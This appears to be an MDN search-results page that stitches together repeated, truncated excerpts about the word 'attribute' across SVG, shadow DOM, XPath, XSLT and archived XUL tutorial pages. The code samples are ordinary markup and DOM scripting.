... auto-wrapped text. for those cases you should use text-align. for multi-line text, the alignment takes place for each line. the text-anchor
attribute is applied to each individual text chunk within a given <text> element. each text chunk has an initial current text position, which represents the point in the user coordinate system resulting from (depending on context) application of the x and y
attributes on the <text> element, any x or y
attribute values on a <tspan>, <tref> or <altglyph> element assigned explicitly to the first rendered character in a text chunk, or determination of the initial current text position for a <textpath> element. ...
...hich represents the point in the user coordinate system resulting from (depending on context) application of the x and y
attributes on the <text> element, any x or y
attribute values on a <tspan>, <tref> or <altglyph> element assigned explicitly to the first rendered character in a text chunk, or determination of the initial current text position for a <textpath> element. note: as a presentation
attribute, text-anchor can be used as a css property. ...
...epending on context) application of the x and y
attributes on the <text> element, any x or y
attribute values on a <tspan>, <tref> or <altglyph> element assigned explicitly to the first rendered character in a text chunk, or determination of the initial current text position for a <textpath> element. note: as a presentation
attribute, text-anchor can be used as a css property. ...
to - SVG: Scalable Vector Graphics
the to
attribute indicates the final value of the
attribute that will be modified during the animation. the value of the
attribute will change between the from
attribute value and this value. five elements are using this
attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate
attributetype="xml"
attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation. value <value> default ...
...="xml"
attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation. value <value> default value none animatable no the exact value type for this
attribute depend on the value of the
attribute that will be animated. if a list of values is defined via the values
attribute, the to
attribute is ignored. set for the <set> element, to specifies the value for the
attribute during the duration of the element. ...
... specifications specification status comment svg animations level 2the definition of 'to for <set>' in that specification. ...
... specifications specification status comment svg animations level 2the definition of 'to for <set>' in that specification. editor's draft no change svg animations level 2the definition of 'to for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification. ...
transform - SVG: Scalable Vector Graphics
the transform
attribute defines a list of transform definitions that are applied to an element and the element's children. html,body,svg { height:100% } <svg viewbox="-40 0 150 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g fill="grey" transform="rotate(-10 50 100) translate(-36 45.5) skewx(40) scale(1 0.5)"> <path id="heart" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </g> <use xlink:href="#heart" fill="none" stroke="red"/> </svg> note: as of svg2, transform is a presentation
attribute, meaning it can be used as a css property. however, be aware that there are some difference in syntax between the css property and the
attribute. see the documen...
... z" /> </g> <use xlink:href="#heart" fill="none" stroke="red"/> </svg> note: as of svg2, transform is a presentation
attribute, meaning it can be used as a css property. however, be aware that there are some difference in syntax between the css property and the
attribute. see the documentation for the css property transform for the specific syntax to use in that case. as a presentation
attribute, transform can be used by any element (in svg 1.1, only these 16 elements were allowed to use it: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <switch>, <text>, and <use>). ...
...use in that case. as a presentation
attribute, transform can be used by any element (in svg 1.1, only these 16 elements were allowed to use it: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <switch>, <text>, and <use>). also, as a legacy from svg 1.1, <lineargradient> and <radialgradient> support the gradienttransform
attribute, and <pattern> supports the patterntransform
attribute, both of which act exactly like the transform
attribute. ...
...however, the compatibility isn't guaranteed. matrix the matrix(<a> <b> <c> <d> <e> <f>) transform function specifies a transformation in the form of a transformation matrix of six values. ...
viewBox - SVG: Scalable Vector Graphics
the numbers separated by whitespace and/or a comma, which specify a rectangle in user space which is mapped to the bounds of the viewport established for the associated svg element (not the browser viewport). ...
...ody,svg { height:100% } svg:not(:root) { display: inline-block; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a large viewbox the circle looks small as it is using user units for the r
attribute: 4 resolved against 100 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox` --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a small viewbox the circle looks l...
...ewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox` --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a small viewbox the circle looks large as it is using user units for the r
attribute: 4 resolved against 10 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- the point of coordinate 0,0 is now in the center of the viewport, and 100% is still resolve to a width or height of 10 user units so the rectangle looks shifted to the bottom/right corner of the viewport --> <...
...angle looks shifted to the bottom/right corner of the viewport --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with the point of coordinate 0,0 in the center of the viewport the value 50% is resolve to 5 which means the center of the circle is in the bottom/right corner of the viewport. --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> the exact effect of this
attribute is influenced by the preserveaspectratio
attribute. note: values for width or height lower or equal to 0 disable rendering of the element. five elements are using this
attribute: <marker>, <pattern>, <svg>, <symbol>, and <view>. marker for <marker>, viewbox defines the position and dimension for the content of the <marker> element. value <number>?, <number>?, <number>?, <number> ...
z - SVG: Scalable Vector Graphics
the z
attribute defines the location along the z-axis for a light source in the coordinate system established by the primitiveunits
attribute on the <filter> element, assuming that, in the initial coordinate system, the positive z-axis comes out towards the person viewing the content and assuming that one unit along the z-axis equals one unit in x and y. ...
... the z
attribute defines the location along the z-axis for a light source in the coordinate system established by the primitiveunits
attribute on the <filter> element, assuming that, in the initial coordinate system, the positive z-axis comes out towards the person viewing the content and assuming that one unit along the z-axis equals one unit in x and y. ...
... value <number> default value 1 animatable yes specifi...
...>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits
attribute on the <filter> element. value <number> default value 1 animatable yes fespotlight for <fespotlight>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits
attribute on the <filter> element. value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'z for <fepointlight>' in that specification. working draft no change filter effects module level 1the definition of 'z for <fespotlight>' in that sp...
<animateTransform> - SVG: Scalable Vector Graphics
the animatetransform element animates a transformation
attribute on its target element, thereby allowing animations to control translation, scaling, rotation, and/or skewing. ...
... element, thereby allowing animations to control translation, scaling, rotation, and/or skewing. ...
...nslation, scaling, rotation, and/or skewing. ...
...2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform
attributename="transform"
attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample
attributes global
attributes conditional processing
attributes » core
attributes » animation event
attributes » xlink
attributes » animation
attribute target
attributes » animation timing
attributes » animation value
attributes » animation addition
attributes » externalresourcesrequired specific
attributes by from to type dom interface this element implements the svganimatetr...
<feMergeNode> - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of '<femergenode>' in that specification. working draft scalable vector graphics (svg) 1.1 (second edition)the defin...
... specifications specification status comment filter effects module level 1the definition of '<femergenode>' in that specification. working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<femergen...
... specifications specification status comment filter effects module level 1the definition of '<femergenode>' in that specification. working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<femergenode>' in that speci...
... specifications specification status comment filter effects module level 1the definition of '<femergenode>' in that specification. working draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<femergenode>' in that specification. recommendati...
<font-face> - SVG: Scalable Vector Graphics
the <font-face> svg element corresponds to the css @font-face rule. it defines a font's outer properties. usage context categoriesfont elementpermitted contentany number of descriptive elements » and at most one <font-face> element, in any order. ...
... the <font-face> svg element corresponds to the css @font-face rule. it defines a font's outer properties. usage context categoriesfont elementpermitted contentany number of descriptive elements » and at most one <font-face> element, in any order. ...
... the <font-face> svg element corresponds to the css @font-face rule. it defines a font's outer properties. usage context categoriesfont elementpermitted contentany number of descriptive elements » and at most one <font-face> element, in any order. ...
... the <font-face> svg element corresponds to the css @font-face rule. it defines a font's outer properties. usage context categoriesfont elementpermitted contentany number of descriptive elements » and at most one <font-face> element, in any order. ...
<style> - SVG: Scalable Vector Graphics
the svg <style> element allows style sheets to be embedded directly within svg content. svg's style element has the same
attributes as the corresponding element in html (see html's <style> element). html,body,svg { height:100%; margin: 0; padding: 0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> circle { fill: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg>
attributes type this
attribute defines type of the style sheet language to use as a media type string. ...
...; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> circle { fill: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg>
attributes type this
attribute defines type of the style sheet language to use as a media type string. value type: <string>; default value: text/css; animatable: no media this
attribute defines to which media the style applies. ...
...aroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg>
attributes type this
attribute defines type of the style sheet language to use as a media type string. value type: <string>; default value: text/css; animatable: no media this
attribute defines to which media the style applies. value type: <string>; default value: all; animatable: no title this
attribute the title of the style sheet which can be used to switch between alternate style sheets. ...
...ge to use as a media type string. value type: <string>; default value: text/css; animatable: no media this
attribute defines to which media the style applies. value type: <string>; default value: all; animatable: no title this
attribute the title of the style sheet which can be used to switch between alternate style sheets. value type: <string>; default value: none; animatable: no global
attributes core
attributes most notably: id styling
attributes class, style event
attributes global event
attributes, document element event
attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification. candidate re...
<switch> - SVG: Scalable Vector Graphics
other direct children will be bypassed and therefore not rendered. if a child element is a container element, like <g>, then its subtree is also processed/rendered or bypassed/not rendered. the display and visibility properties have no effect on <switch> element processing. in particular, setting display:none on a child has no effect on the true/false testing for <switch> processing. ...
...operties have no effect on <switch> element processing. in particular, setting display:none on a child has no effect on the true/false testing for <switch> processing. usage context categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<a>, <foreignobject>, <g>, <image>, <svg>, <switch>, <text>, <use>
attributes global
attributes conditional processing
attributes core
attributes graphical event
attributes presentation
attributes class style externalresourcesrequired transform dom interface this element implements the svgswitchelement interface. svg <switch> example this example demonstrates showing different text content depending on the browser's language settings. the switch element wi...
...
attributes graphical event
attributes presentation
attributes class style externalresourcesrequired transform dom interface this element implements the svgswitchelement interface. svg <switch> example this example demonstrates showing different text content depending on the browser's language settings. the switch element will display the first of its child elements whose systemlanguage
attribute matches the user's language, or the fallback element with no systemlanguage
attribute if none of them match. html content <svg viewbox="0 -20 100 50"> <switch> <text systemlanguage="ar">مرحبا</text> <text systemlanguage="de,nl">hallo!</text> <text systemlanguage="en-us">howdy!</text> <text systemlanguage="en-gb">wotcha!</text> <text systemlanguage="en-au">...
... recommendation initial definition ...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
the <title> element provides an accessible, short-text description of any svg container element or graphics element. text in a <title> element is not rendered as part of the graphic, but browsers usually display it as a tooltip. if an element can be described by visible text, it is recommended to reference that text with an aria-labelledby
attribute rather than using the <title> element. ...
...title> element. note: for backward compatibility with svg 1.1, <title> elements should be the first child element of their parent. ...
...ity with svg 1.1, <title> elements should be the first child element of their parent. ...
...title> elements should be the first child element of their parent. html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <title>i'm a circle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg>
attributes this element only includes global
attributes global
attributes core
attributes most notably: id styling
attributes class, style event
attributes global event
attributes, document element event
attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification. ...
Scripting - SVG: Scalable Vector Graphics
do this. using eventlisteners with objects the methods addeventlistener() and removeeventlistener() are very useful when writing interactive svg. you can pass an object that implements the handleevent interface as the second parameter to these methods. ...
...jects the methods addeventlistener() and removeeventlistener() are very useful when writing interactive svg. you can pass an object that implements the handleevent interface as the second parameter to these methods. ...
...and removeeventlistener() are very useful when writing interactive svg. you can pass an object that implements the handleevent interface as the second parameter to these methods. ...
...when writing interactive svg. you can pass an object that implements the handleevent interface as the second parameter to these methods. ...
Using shadow DOM - Web Components
aware of: shadow host: the regular dom node that the shadow dom is attached to. shadow tree: the dom tree inside the shadow dom. shadow boundary: the place where the shadow dom ends, and the regular dom begins. shadow root: the root node of the shadow tree. you can affect the nodes in the shadow dom in exactly the same way as non-shadow nodes — for example appending children or setting
attributes, styling individual nodes using element.style.foo, or adding style to the entire shadow dom tree inside a <style> element. the difference is that none of the code inside a shadow dom can affect anything outside it, allowing for handy encapsulation. note that the shadow dom is not a new thing by any means — browsers have used it for a long time to encapsulate the inner structure of an element.
...l have when an instance of it is instantiated. ...
... attach a shadow root to the custom element: // create a shadow root let shadow = this.attachshadow({mode: 'open'}); creating the shadow dom structure next, we use some dom manipulation to create the element's internal shadow dom structure: // create spans let wrapper = document.createelement('span'); wrapper.set
attribute('class', 'wrapper'); let icon = document.createelement('span'); icon.set
attribute('class', 'icon'); icon.set
attribute('tabindex', 0); let info = document.createelement('span'); info.set
attribute('class', 'info'); // take
attribute content and put it inside the info span let text = this.get
attribute('data-text'); info.textcontent = text; // insert icon let imgurl; if(this.has
attribute('img')) { imgurl = this.get
attribute('img'); } else { imgurl = 'img/default.png'; } let ...
...e above example we apply style to the shadow dom using a <style> element, but it is perfectly possible to do it by referencing an external stylesheet from a <link> element instead. for example, take a look at this code from our popup-info-box-external-stylesheet example (see the source code): // apply external styles to the shadow dom const linkelem = document.createelement('link'); linkelem.set
attribute('rel', 'stylesheet'); linkelem.set
attribute('href', 'style.css'); // attach the created element to the shadow dom shadow.appendchild(linkelem); note that <link> elements do not block paint of the shadow root, so there may be a flash of unstyled content (fouc) while the stylesheet loads. many modern browsers implement an optimization for <style> tags either cloned from a common node or that hav...
Axes - XPath
n using xpath expressions, please see the for further reading section at the end of transforming xml with xslt document. also see the 'axes' section in the xpath spec. ancestor indicates all the ancestors of the context node beginning with the parent node and traveling through to the root node. ancestor-or-self indicates the context node and all of its ancestors, including the root node.
attribute indicates the
attributes of the context node. only elements have
attributes. this axis can be abbreviated with the at sign (@). child indicates the children of the context node. if an xpath expression does not specify an axis, this is understood by default. since only the root node or element nodes have children, any other use will select nothing. descendant indicates all of the children of ...
...ts have
attributes. this axis can be abbreviated with the at sign (@). child indicates the children of the context node. if an xpath expression does not specify an axis, this is understood by default. since only the root node or element nodes have children, any other use will select nothing. descendant indicates all of the children of the context node, and all of their children, and so forth.
attribute and namespace nodes are not included - the parent of an
attribute node is an element node, but
attribute nodes are not the children of their parents. descendant-or-self indicates the context node and all of its descendants.
attribute and namespace nodes are not included - the parent of an
attribute node is an element node, but
attribute nodes are not the children of their parents. following i...
... following-sibling indicates all the nodes that have the same parent as the context node and appear after the context node in the source document. namespace (not supported) indicates all the nodes that are in scope for the context node. in this case, the context node must be an element node. ...
...t node in the source document. namespace (not supported) indicates all the nodes that are in scope for the context node. in this case, the context node must be an element node. parent indicates the single node that is the parent of the context node. it can be abbreviated as two periods (..). preceding indicates all the nodes that precede the context node in the document except any ancestor,
attribute and namespace nodes. preceding-sibling indicates all the nodes that have the same parent as the context node and appear before the context node in the source document. self indicates the context node itself. it can be abbreviated as a single period (.). ...
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:output> element controls the characteristics of the output document. to function correctly in netscape, this element, with the method
attribute, must be used. as of 7.0, method="text" works as expected. ...
...tly in netscape, this element, with the method
attribute, must be used. as of 7.0, method="text" works as expected. syntax <xsl:output method="xml" | "html" | "text" version=string encoding=string omit-xml-declaration="yes" | "no" standalone="yes" | "no" doctype-public=string doctype-system=string cdata-section-elements=list-of-names indent="yes" | "no" media-type=string /> required
attributes none. optional
attributes method specifies output format. version specifies the value of the version
attribute of the xml or html declaration in the output document. this
attribute is only used when method="html" or method="xml". encoding specifies the value of the encoding
attribute in the output document. omit-xml-declaration indicates whether or not to include an xml decl...
... cdata-section-elements lists elements whose text contents should be written as cdata sections. elements should be whitespace separated. ...
...in the output. acceptable values are "yes" or "no". standalone (not supported.) if present, indicates that a standalone declaration should occur in the output document and gives its value. acceptable values are "yes" or "no". doctype-public specifies the value of the public
attribute of the doctype declaration in the output document. doctype-system specifies the value of the system
attribute of the doctype declaration in the output document. cdata-section-elements lists elements whose text contents should be written as cdata sections. elements should be whitespace separated. indent (not supported.) specifies if the output should be indented to indicate its hierarchic structure. media-type (not supported.) specifies the output document mime type. type top-level, must...
Appendix F: Monitoring DOM changes - Archive of obsolete content
alled to unregister the * listener. ...
... is currently possible to attach only a single binding to a given dom node at once, it is important when using this method to detach your binding from a node once your constructor has run. this is most easily done by adding a :not clause to the css selector that attaches your binding. ...
...tance, when using the selector div:not([foo-binding-done]), you can detach your binding by running this.set
attribute("foo-binding-done", true) in your constructor. monkey patching dom methods when you are interested in changes to particular nodes, sometimes the best way is to wrap the dom methods of those elements, as in the monkey patching section above. for instance, if you need to know about
attribute changes to a particular node, then you should replace its set
attribute method with a function that calls the original set
attribute function as originalset
attribute.apply(this, arguments) before running your necessary event code. ...
JavaScript Object Management - Archive of obsolete content
e = cc["@mozilla.org/observer-service;1"].getservice(ci.nsiobserverservice); } }; 〈namespace〉.init(); }; js objects can also be treated as string-indexed arrays: // equivalent. 〈namespace〉.hello = {}; 〈namespace〉["hello"] = {}; // equivalent. 〈namespace〉.hello.init(); 〈namespace〉.hello["init"](); this is very useful in cases where you have to set
attributes or functions with dynamically generated names. it's one of the funky properties of javascript: all objects are nothing more than name / value mappings. you can add or replace functions and
attributes to any javascript object, at any moment you want. this is an odd, but powerful feature that comes in handy at times when things get complicated. for instance, you could replace a method in any objec...
...a. a clear example of this is the fact that there are no private or public keywords that allow you to protect object members. as a alternative for this, a naming standard is frequently used to distinguish private and public members. there's no scope enforcement whatsoever, but this standard give others the chance to "play nice" and don't use private members. use "_" at the beginning of private
attributes and methods in js objects. for example: _stringbundle, _createusernode(). exercise here's a short exercise to test a particular aspect of the chrome. modify the hello world extension so that the message says how many times it has been displayed. the message could say something like "hello! this message has been shown 5 times." keep the counter as a variable in the browseroverlay object, and ...
... * @return the user url. */ get url() { return this._url; } }; in this example we defined a fictitious user class for the hello world extension. using the function keyword to define a class is odd, but this is just the javascript way: functions are also objects. the definition of the class acts as a constructor as well, and then you can define all other members using the prototype
attribute. in this case we defined "getter" properties for the name and url members. this way we have immutable instances of our class. well, only if consumers of the class play nice and don't change anything they shouldn't. creating an instance and using it is simple enough: let user = new 〈modulenamespace〉.user("pete", "http://example.com/pete"); window.alert(user.name); this is something yo...
Setting Up a Development Environment - Archive of obsolete content
most xul tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help. we recommend komodo edit. it's free, open source, and cross-platform. it's based on the mozilla xulrunner platform, so it has support for some of the particularities in firefox extension development. komodo edit has automatic completion for xul tags and
attributes, and it supports mozilla's css extensions (css values and properties beginning with "-moz"). it has an add-on system similar to the one in firefox, and there are some komodo extensions that provide additional help in extension development. that is more than what you can get with most other editors, so we recommend you to give it a try. all of our examples are handled with komodo edit, so if you ...
...ensions require developing xpcom components to add certain advanced functions. there's a section dedicated to xpcom in this tutorial, but we'll briefly discuss the impact it has on building the extension. you can skip this section and keep it present as a reference in case you do need to use xpcom in your project. xpcom interfaces are defined using idl files. these are text files that define the
attributes and methods in one or more interfaces. these idl files are compiled into binary form and included in the extension as xpt files. to compile an idl file to xpt, you need a command line tool called xpidl. this tool is included in the mozilla gecko sdk. if you need to compile idls, go to the sdk page and download a compiled version for your system. also note any prerequisites you may need. if your...
...d css rules and associated javascript objects. introduction to dom inspector is a good guide on how to get started using it. the dom inspector is particularly useful in finding out how to overlay a window, and how to replace default css style rules. you can see the names of the files involved, which gives you a good starting point when looking into the mozilla source. you can even change styles,
attributes and execute javascript code in it, although that's not completely reliable. javascript debugger the name says it all. the venkman javascript debugger is a great way to trace execution of your javascript code. to debug extension and browser code, right-click on the loaded scripts panel and uncheck exclude browser files. the list of loaded scripts will grow long to include all of the scripts in...
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
e most printed pages of the site. technically, with the print media css file, we didn't have to generate a separate print template for stories. however, since some of our stories are broken up into 2 or 3 pages, we created a slightly altered template for print versions which pulls the entire text of the story into one (web) page. since we had a separate template to work with, we changed the media
attribute of the linked print style sheet to "all", and eliminated the links to normal screen media files. this allows us to temporarily display on screen the same formatting to be used for printing that page. so what advantages does this redesign give you as a site administrator? you mean besides the fact that as designer, i can control design details on thousands of news pages with just a few files? be...
...some other third-party content prevent us from doing so. our engineers also faced a huge archive of content that wasn't entered into our cms with xhtml in mind. it's true that our stories exist in a database, separated from page templates and peripheral formatting. but writers, editors, and producers have been inserting stories into vignette for years sans closing paragraph (</p>) tags. unquoted
attributes and uppercase html tags? we've got them in spades, and they're embedded in all past stories of the database. fortunately, our chief engineer was able to write some code that scraped through the database looking for errors like this which would invalidate our markup. we don't make any claims about past archived content, but we've taken many efforts to make sure even stories from a few years ago a...
...s instantly across the entire site, without touching one bit of html markup. and if we need to make a template change, or add in a piece of content, our data is now structured in a way that surprises our developers in how easy it is to make a change. wired news is also dramatically more accessible, without much concentrated effort at making it so. sure, we now pay more attention to our image alt
attributes, and try to use heading tags appropriately. but a huge decrease in the amount [sic] of presentation markup tags also plays a big role too. since all of our content is also completely accessible sans style sheets, i think we get the best of both worlds: a well-designed, highly stylized, true-to-our-brand website which adapts in different browsing environments. what would you say to a site develo...
XUL user interfaces - Archive of obsolete content
d.getfullyear() refresh() } // called by date textbox function refresh() { var d = datebox.value var thedate = null showstatus(null) if (d != "") { try { var a = d.split("/") var thedate = new date(a[2], a[0] - 1, a[1]) showstatus(thedate) } catch (ex) {} } setday(thedate) } // internal function setday(adate) { if (currentday) currentday.set
attribute("disabled", "true") if (adate == null) currentday = null else { var d = adate.getday() currentday = daybox.firstchild while (d-- > 0) currentday = currentday.nextsibling currentday.remove
attribute("disabled") } datebox.focus(); } function showstatus(adate) { if (adate == null) { status.remove
attribute("warning") status.set
attribute("label", "") } else ...
...if you use a different theme, it changes some user-interface styles and the demonstration might look strange. open the doc...
...tday = daybox.firstchild while (d-- > 0) currentday = currentday.nextsibling currentday.remove
attribute("disabled") } datebox.focus(); } function showstatus(adate) { if (adate == null) { status.remove
attribute("warning") status.set
attribute("label", "") } else if (adate === false || isnan(adate.gettime())) { status.set
attribute("warning", "true") status.set
attribute("label", "date is not valid") } else { status.remove
attribute("warning") status.set
attribute("label", adate.tolocaledatestring()) } } to see the result exactly as intended, use the default theme in your browser. if you use a different theme, it changes some user-interface styles and the demonstration might look strange. open the document in your mozilla browser and use the i...
Adding the structure - Archive of obsolete content
with ssl). status bars comprise a series of panels, each one defined by a statusbarpanel xul element. each status bar panel displays a different kind of status information. graphical panels (like the one we are creating here that displays an icon) are given the statusbarpanel-iconic class so they can be styled accordingly by the css stylesheet that defines these elements' appearance. ...
...graphical panels (like the one we are creating here that displays an icon) are given the statusbarpanel-iconic class so they can be styled accordingly by the css stylesheet that defines these elements' appearance. the status
attribute is not part of the xul definition for the statusbarpanel element, but is used by our extension to store the current tinderbox state. we'll update the value of that
attribute each time we retrieve tinderbox's status from the server, and we'll define css rules that change the appearance of the icon depending on the value of that
attribute. ...
... the status
attribute is not part of the xul definition for the statusbarpanel element, but is used by our extension to store the current tinderbox state. we'll update the value of that
attribute each time we retrieve tinderbox's status from the server, and we'll define css rules that change the appearance of the icon depending on the value of that
attribute. all xul elements can be given custom
attributes in addition to the ones the xul rendering engine recognizes which get ignored by the engine, so adding this custom
attribute does not create any problems or modify the way the widget is displayed (except for the ways we explicitly specify with css). « previousnext » ...
Adding Buttons - Archive of obsolete content
. you need one or the other or both. thus, a button can have a label only, an image only or both a label and an image. buttons are commonly used for the ok and cancel buttons in a dialog, for example. syntax of buttons the button tag has the following syntax: <button id="identifier" class="dialog" label="ok" image="images/image.jpg" disabled="true" accesskey="t"/> the
attributes are as follows, all of which are optional: id a unique identifier so that you can identify the button with. you'll see this
attribute on all elements. you'll want to use this if you want to refer to the button in a style sheet or script. however, you should add this
attribute to almost all elements. it isn't always placed on elements in this tutorial for simplicity. class the style class...
... the style class of the button. this works the same as in html. it is used to indicate the style that the button appears in. in this case the value dialog is used. in most cases, you will not use a class for a button. label the label that will appear on the button. for example, ok or cancel. if this is left out, no text appears. image the url of the image to appear on the button. if this is
attribute is left out, no image appears. you can also specify the image in a stylesheet using the list-style-image property. disabled if this
attribute is set to true, the button is disabled. this is usually drawn with the text in grey. if the button is disabled, the function of the button cannot be performed. if this
attribute is left out entirely, the button is enabled. you can switch the disabled sta...
...an switch the disabled state of the button using javascript. accesskey this should be set to a letter that is used as a shortcut key. this letter should appear in the label text and will typically be drawn underlined. when the user presses alt (or a similar key that varies on each platform) and the access key, the button will be focused from anywhere in the window. note: buttons support more
attributes than those listed above. others will be discussed later. some examples of buttons example 1 : source view <button label="normal"/> <button label="disabled" disabled="true"/> the examples above will generate the buttons in the image. the first button is a normal button. the second button is disabled so it appears greyed out. we'll start by creating a simple find button for the find files ...
Box Model Details - Archive of obsolete content
« previousnext » we've seen a lot of features of the box model. here, we'll find out some more details with some examples. more layout details the style properties such as min-width and max-height can be applied to any element. we've added them to buttons and textboxes, but we can also add them to spacers or boxes. in addition, the flex
attribute can be applied to any element. example 1 : source view <hbox flex="1"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> in the example above, all three elements will resize themselves as they are all flexible. the two buttons indicate a minimum width of 100 pixels. the buttons will never be smaller than this size but they may grow larger. ...
...ver be smaller than this size but they may grow larger. here the window should appear just over 200 pixels wide. that's enough for the two buttons. because all three elements are flexible, but they don't need any more room, the flexibility adds no extra space. as shown in the image, there are two buttons which expand vertically to fit their container, which in this case is the hbox. the align
attribute controls this behavior on a horizontal box. you can also prevent this stretching by placing a maximum height on the elements or, better, on the box itself. if a box has a maximum height, the elements inside it are constrained by this. however, the problem with this is that you need to know how big the element will be beforehand. example 2 : source view <hbox flex="1" align="top"> <button label=...
... between the two buttons, by setting an explicit width of 5 pixels. you could also set margins using the css margin property. centering buttons example 4 : source view <hbox pack="center" align="center" flex="1"> <button label="look at me!"/> <button label="push me!"/> </hbox> this example contains a horizontal box with two buttons in it, contained inside a flexible box. the box has the pack
attribute which is used to center the buttons horizontally. the align
attribute aligns the buttons vertically. the result is that the buttons will be centered in the box in both directions. this example will work with a vertical box as well, although the second button will be underneath the first one, instead of beside it. a find text dialog example 5 : source view <?xml version="1.0"?> <?xml-stylesheet hr...
Creating Dialogs - Archive of obsolete content
"accept,cancel" ondialogaccept="return dook();" ondialogcancel="return docancel();"> <script> function dook(){ alert("you pressed ok!"); return true; } function docancel(){ alert("you pressed cancel!"); return true; } </script> <description value="select a button"/> </dialog> you may place any elements that you wish in a dialog. the dialog element has some additional
attributes that windows do not have. the buttons
attribute is used to specify which buttons should appear in the dialog. the following values may be used, seperated by commas: accept - an ok button cancel - a cancel button help - a help button disclosure - a disclosure button, which is used for showing more information you can set code to execute when the buttons are pressed using the ondialogaccep...
...ed to specify which buttons should appear in the dialog. the following values may be used, seperated by commas: accept - an ok button cancel - a cancel button help - a help button disclosure - a disclosure button, which is used for showing more information you can set code to execute when the buttons are pressed using the ondialogaccept, ondialogcancel, ondialoghelp and ondialogdisclosure
attributes. if you try the example above, you will find that the dook() function is called when the ok button is pressed and the docancel() function is called when the cancel button is pressed. the two functions dook() and docancel() both return true, which indicates that the dialog should be closed. if the dialog shouldn't be closed, false should be returned instead. this would be used, for example, if a...
...alled when the ok button is pressed and the docancel() function is called when the cancel button is pressed. the two functions dook() and docancel() both return true, which indicates that the dialog should be closed. if the dialog shouldn't be closed, false should be returned instead. this would be used, for example, if an invalid value was entered in a field in the dialog. amongst other useful
attributes are buttonlabelaccept - label to appear on the accept button egsave buttonaccesskeyaccept - access key to use for the accept button egs defaultbutton - button is activated when the enter key is pressed note: the label
attributes are required by remote sites and are probably missing in the above examples due to bug 224996. example dialog with more features <?xml version="1.0"?> <?xml-s...
More Event Handlers - Archive of obsolete content
in the addeventlistener form, the first argument passed to the listener function will be the event object. other arguments can be passed to a listener function, if required. the event object has a number of properties which can be examined during an event. ...
.... if the default action is prevented, the popup will not be displayed. the default action can be prevented with the event object's preventdefault method, as in the example below. example 3 : source view <button label="types" type="menu"> <menupopup onpopupshowing="event.preventdefault();"> <menuitem label="glass"/> <menuitem label="plastic"/> </menupopup> </button> alternatively, for
attribute event listeners, you can just return false from the code. note that preventing the default action is not the same as stopping event propagation with the stoppropagation method. even if the default action has been prevented, the event will still continue to propagate. similarly, calling the stoppropagation method won't prevent the default action. you must call both methods to stop both from occuri...
